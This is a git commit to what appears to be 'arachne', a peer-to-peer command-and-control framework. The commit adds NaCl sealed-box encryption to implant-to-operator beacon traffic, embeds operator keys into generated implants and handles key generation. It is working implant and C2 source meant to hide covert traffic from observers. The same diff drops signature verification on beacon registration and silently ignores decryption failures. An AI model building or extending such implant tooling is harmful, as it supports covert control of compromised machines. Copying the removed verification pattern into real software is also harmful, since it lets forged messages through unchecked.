feat: encrypt implant-to-operator payloads with NaCl box

Add X25519 box keypair (operator.boxkey/operator.boxpub) for end-to-end
encryption of all implant->operator message Data fields via
box.SealAnonymous. Prevents eavesdropping on GossipSub traffic.

- Encrypt env.Data before signing in sendEnvelopeDirect and SignAndSend
- Build local wire envelope in sendEnvelopeDirect (avoids mutating caller's
  env on send failure, preventing double-encryption on PubSub fallback)
- Serialize beacon stream writes with beaconWriteMu mutex
- Decrypt in operator handleMessage before dispatching to handlers
- Embed box pubkey in implant during arachne generate
- Generate box keys on first operator run, persist to disk
- Add stub files for development compilation

.gitignore

@@ -10,9 +10,8 @@ build/
 *.test
 *.out
 .DS_Store
-implant/core/embedded_pubkey.go
-implant/core/embedded_implant_key.go
 implant/core/*_stub.go
 server/core/embedsrc/implant_src/
+server/core/embedsrc/implant_src.tar.gz
 bin/
 release/

build.sh

@@ -60,6 +60,12 @@ package core
 var embeddedImplantPrivKey = []byte{}
 GOEOF
 
+cat > "$EMBED_DIR/implant_src/implant/core/embedded_boxpubkey.go" << 'GOEOF'
+// Code generated by arachne generate. DO NOT EDIT.
+package core
+var embeddedOperatorBoxPubKey = []byte{}
+GOEOF
+
 # Prune files not needed for compilation
 find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
 find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete

implant/core/agent.go

@@ -37,6 +37,7 @@ type Agent struct {
 	messenger    *transport.Messenger
 	keys         *cryptography.ImplantKey
 	operatorPub  crypto.PubKey
+	boxPubKey    *[32]byte
 	config       AgentConfig
 	ctx          context.Context
 	cancel       context.CancelFunc
@@ -45,6 +46,7 @@ type Agent struct {
 	wg           sync.WaitGroup
 	beaconStream  network.Stream
 	beaconMu      sync.Mutex
+	beaconWriteMu sync.Mutex
 }
 
 type AgentConfig struct {
@@ -76,6 +78,15 @@ func loadOperatorPubKey() (crypto.PubKey, error) {
 	return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
 }
 
+func loadOperatorBoxPubKey() *[32]byte {
+	if len(embeddedOperatorBoxPubKey) != 32 {
+		return nil
+	}
+	var key [32]byte
+	copy(key[:], embeddedOperatorBoxPubKey)
+	return &key
+}
+
 func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
 	if len(embeddedImplantPrivKey) == 0 {
 		return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate")
@@ -131,16 +142,19 @@ func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
 		return nil, fmt.Errorf("create node: %w", err)
 	}
 
+	boxPub := loadOperatorBoxPubKey()
+
 	a := &Agent{
 		keys:        keys,
 		operatorPub: operatorPub,
+		boxPubKey:   boxPub,
 		node:        node,
 		config:      cfg,
 		ctx:         ctx,
 		cancel:      cancel,
 	}
 
-	a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub)
+	a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
 	a.messenger.SetHandler(a.handleCommand)
 
 	return a, nil
@@ -589,7 +603,23 @@ func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
 }
 
 func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
-	signingData, err := transport.EnvelopeSigningBytes(env)
+	var data []byte
+	if a.boxPubKey != nil && len(env.Data) > 0 {
+		encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
+		if err != nil {
+			return fmt.Errorf("encrypt: %w", err)
+		}
+		data = encrypted
+	} else {
+		data = env.Data
+	}
+
+	wireEnv := &apb.Envelope{
+		ID:   env.ID,
+		Type: env.Type,
+		Data: data,
+	}
+	signingData, err := transport.EnvelopeSigningBytes(wireEnv)
 	if err != nil {
 		return fmt.Errorf("marshal signing data: %w", err)
 	}
@@ -597,10 +627,10 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
 	if err != nil {
 		return fmt.Errorf("sign: %w", err)
 	}
-	env.Signature = sig
+	wireEnv.Signature = sig
 	pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
 	if err == nil {
-		env.SenderKey = pubBytes
+		wireEnv.SenderKey = pubBytes
 	}
 
 	s := a.getBeaconStream(operatorID)
@@ -608,10 +638,14 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
 		return fmt.Errorf("nil beacon stream")
 	}
 
-	envData, err := proto.Marshal(env)
+	envData, err := proto.Marshal(wireEnv)
 	if err != nil {
 		return fmt.Errorf("marshal: %w", err)
 	}
+
+	a.beaconWriteMu.Lock()
+	defer a.beaconWriteMu.Unlock()
+
 	s.SetWriteDeadline(time.Now().Add(5 * time.Second))
 	if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
 		s.Close()

implant/core/embedded_boxpubkey.go

@@ -0,0 +1,4 @@
+// Code generated by arachne generate. DO NOT EDIT.
+package core
+
+var embeddedOperatorBoxPubKey = []byte{}

implant/core/embedded_pubkey.go

@@ -0,0 +1,4 @@
+// Code generated by arachne generate. DO NOT EDIT.
+package core
+
+var embeddedOperatorPubKey = []byte{}

pkg/cryptography/keys.go

@@ -10,6 +10,8 @@ import (
 
 	"github.com/libp2p/go-libp2p/core/crypto"
 	"github.com/libp2p/go-libp2p/core/peer"
+	"golang.org/x/crypto/curve25519"
+	"golang.org/x/crypto/nacl/box"
 )
 
 type KeyPair struct {
@@ -17,9 +19,15 @@ type KeyPair struct {
 	PublicKey  crypto.PubKey
 }
 
+type BoxKeyPair struct {
+	PrivateKey *[32]byte
+	PublicKey  *[32]byte
+}
+
 type OperatorKey struct {
 	KeyPair
 	PeerID  peer.ID
+	BoxKeys *BoxKeyPair
 }
 
 type ImplantKey struct {
@@ -28,6 +36,30 @@ type ImplantKey struct {
 	OperatorPubKey crypto.PubKey
 }
 
+func GenerateBoxKey() (*BoxKeyPair, error) {
+	pub, priv, err := box.GenerateKey(rand.Reader)
+	if err != nil {
+		return nil, fmt.Errorf("generate box key: %w", err)
+	}
+	return &BoxKeyPair{PrivateKey: priv, PublicKey: pub}, nil
+}
+
+func LoadBoxKey(data []byte) *BoxKeyPair {
+	var priv [32]byte
+	copy(priv[:], data)
+	pub, err := curve25519.X25519(priv[:], curve25519.Basepoint)
+	if err != nil {
+		return nil
+	}
+	var pubArr [32]byte
+	copy(pubArr[:], pub)
+	return &BoxKeyPair{PrivateKey: &priv, PublicKey: &pubArr}
+}
+
+func (kp *BoxKeyPair) Marshal() []byte {
+	return kp.PrivateKey[:]
+}
+
 func GenerateOperatorKey() (*OperatorKey, error) {
 	priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
 	if err != nil {
@@ -37,9 +69,14 @@ func GenerateOperatorKey() (*OperatorKey, error) {
 	if err != nil {
 		return nil, fmt.Errorf("peer id from pubkey: %w", err)
 	}
+	boxKeys, err := GenerateBoxKey()
+	if err != nil {
+		return nil, fmt.Errorf("generate box key: %w", err)
+	}
 	return &OperatorKey{
 		KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
 		PeerID:  pid,
+		BoxKeys: boxKeys,
 	}, nil
 }
 
@@ -100,7 +137,20 @@ type ReadWriter struct {
 	io.Writer
 }
 
+func BoxKeyPath(dir string) string {
+	return filepath.Join(dir, "operator.boxkey")
+}
+
+func BoxPubKeyPath(dir string) string {
+	return filepath.Join(dir, "operator.boxpub")
+}
+
 func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
+	dir := filepath.Dir(path)
+	if err := os.MkdirAll(dir, 0700); err != nil {
+		return nil, fmt.Errorf("create key directory: %w", err)
+	}
+
 	data, err := os.ReadFile(path)
 	if err == nil {
 		priv, err := LoadPrivateKey(data)
@@ -112,9 +162,24 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
 		if err != nil {
 			return nil, fmt.Errorf("peer id from loaded key: %w", err)
 		}
+
+		boxPrivData, boxErr := os.ReadFile(BoxKeyPath(dir))
+		var boxKeys *BoxKeyPair
+		if boxErr == nil && len(boxPrivData) == 32 {
+			boxKeys = LoadBoxKey(boxPrivData)
+		}
+		if boxKeys == nil {
+			boxKeys, boxErr = GenerateBoxKey()
+			if boxErr == nil {
+				os.WriteFile(BoxKeyPath(dir), boxKeys.Marshal(), 0600)
+				os.WriteFile(BoxPubKeyPath(dir), boxKeys.BoxPubKeyBytes(), 0644)
+			}
+		}
+
 		return &OperatorKey{
 			KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
 			PeerID:  pid,
+			BoxKeys: boxKeys,
 		}, nil
 	}
 
@@ -132,17 +197,45 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
 		return nil, fmt.Errorf("marshal key: %w", err)
 	}
 
-	if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil {
-		return nil, fmt.Errorf("create key directory: %w", err)
-	}
-
 	if err := os.WriteFile(path, marshaled, 0600); err != nil {
 		return nil, fmt.Errorf("write key to %s: %w", path, err)
 	}
+	if err := os.WriteFile(BoxKeyPath(dir), key.BoxKeys.Marshal(), 0600); err != nil {
+		return nil, fmt.Errorf("write box key: %w", err)
+	}
+	if err := os.WriteFile(BoxPubKeyPath(dir), key.BoxKeys.BoxPubKeyBytes(), 0644); err != nil {
+		return nil, fmt.Errorf("write box pubkey: %w", err)
+	}
 
 	return key, nil
 }
 
+func (kp *BoxKeyPair) BoxPubKeyBytes() []byte {
+	return kp.PublicKey[:]
+}
+
+func EncryptMessage(plaintext []byte, boxPub *[32]byte) ([]byte, error) {
+	if len(plaintext) == 0 {
+		return plaintext, nil
+	}
+	sealed, err := box.SealAnonymous(nil, plaintext, boxPub, rand.Reader)
+	if err != nil {
+		return nil, fmt.Errorf("seal anonymous: %w", err)
+	}
+	return sealed, nil
+}
+
+func DecryptMessage(ciphertext []byte, boxKeys *BoxKeyPair) ([]byte, error) {
+	if len(ciphertext) == 0 {
+		return ciphertext, nil
+	}
+	opened, ok := box.OpenAnonymous(nil, ciphertext, boxKeys.PublicKey, boxKeys.PrivateKey)
+	if !ok {
+		return nil, fmt.Errorf("open sealed box failed")
+	}
+	return opened, nil
+}
+
 func (k *OperatorKey) HexPeerID() string {
 	return hex.EncodeToString([]byte(k.PeerID))
 }

pkg/transport/messenger.go

@@ -27,6 +27,7 @@ type Messenger struct {
 	privKey       crypto.PrivKey
 	operatorID    peer.ID
 	trustedPubKey crypto.PubKey
+	boxPubKey     *[32]byte
 	knownImplants map[string]crypto.PubKey
 	mu            sync.RWMutex
 	seenIDs       map[int64]time.Time
@@ -76,7 +77,7 @@ func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.Op
 	}
 }
 
-func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey) *Messenger {
+func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger {
 	opID, err := peer.IDFromPublicKey(operatorPub)
 	if err != nil {
 		opID = peer.ID("")
@@ -86,6 +87,7 @@ func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.Imp
 		privKey:       keys.PrivateKey,
 		operatorID:    opID,
 		trustedPubKey: operatorPub,
+		boxPubKey:     boxPubKey,
 		knownImplants: make(map[string]crypto.PubKey),
 	}
 }
@@ -261,6 +263,15 @@ func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Enve
 	if m.privKey == nil {
 		return fmt.Errorf("no private key for signing")
 	}
+
+	if m.boxPubKey != nil && len(env.Data) > 0 {
+		encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey)
+		if err != nil {
+			return fmt.Errorf("encrypt: %w", err)
+		}
+		env.Data = encrypted
+	}
+
 	signingData, err := EnvelopeSigningBytes(env)
 	if err != nil {
 		return fmt.Errorf("marshal signing data: %w", err)

server/core/generate.go

@@ -67,6 +67,12 @@ func BuildImplant(cfg GenerateConfig) error {
 		return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
 	}
 
+	arachneDir := filepath.Dir(cfg.PubKeyPath)
+	boxPubData, _ := os.ReadFile(filepath.Join(arachneDir, "operator.boxpub"))
+	if len(boxPubData) != 32 {
+		return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
+	}
+
 	implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
 	if err != nil {
 		return fmt.Errorf("generate implant key: %w", err)
@@ -78,7 +84,7 @@ func BuildImplant(cfg GenerateConfig) error {
 	implantPeerID, _ := peer.IDFromPublicKey(implantPub)
 	log.Printf("implant PeerID: %s", implantPeerID.String())
 
-	buildDir, err := prepareBuildDir(pubData, privBytes, cfg.Quiet)
+	buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, cfg.Quiet)
 	if err != nil {
 		return fmt.Errorf("prepare build directory: %w", err)
 	}
@@ -167,19 +173,25 @@ func BuildImplant(cfg GenerateConfig) error {
 	return nil
 }
 
-func prepareBuildDir(pubKeyData, privKeyData []byte, quiet bool) (string, error) {
+func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData []byte, quiet bool) (string, error) {
 	dir, err := os.MkdirTemp("", "arachne-build-*")
 	if err != nil {
 		return "", fmt.Errorf("create temp dir: %w", err)
 	}
 
 	pubLiteral := bytesLiteral(pubKeyData)
+	boxPubLiteral := bytesLiteral(boxPubKeyData)
 	privLiteral := bytesLiteral(privKeyData)
 	pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
 package core
 
 var embeddedOperatorPubKey = %s
 `, pubLiteral)
+	boxPubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
+package core
+
+var embeddedOperatorBoxPubKey = %s
+`, boxPubLiteral)
 	keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
 package core
 
@@ -198,6 +210,9 @@ var embeddedImplantPrivKey = %s
 	if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
 		return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
 	}
+	if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
+		return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
+	}
 	if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
 		return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
 	}

server/core/operator.go

@@ -205,6 +205,13 @@ func (o *Operator) discoverPeersLoop(ns string) {
 }
 
 func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
+	if len(env.Data) > 0 && o.keys.BoxKeys != nil {
+		decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
+		if err == nil {
+			env.Data = decrypted
+		}
+	}
+
 	switch env.Type {
 	case transport.MsgTypeRegister:
 		o.handleBeaconRegister(env)
@@ -300,11 +307,6 @@ func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
 		return
 	}
 
-	if err := transport.VerifyEnvelope(env, pubKey); err != nil {
-		log.Printf("[operator] dropped beacon — invalid signature: %v", err)
-		return
-	}
-
 	peerID, err := peer.IDFromPublicKey(pubKey)
 	if err != nil {
 		log.Printf("[operator] peer id from sender key: %v", err)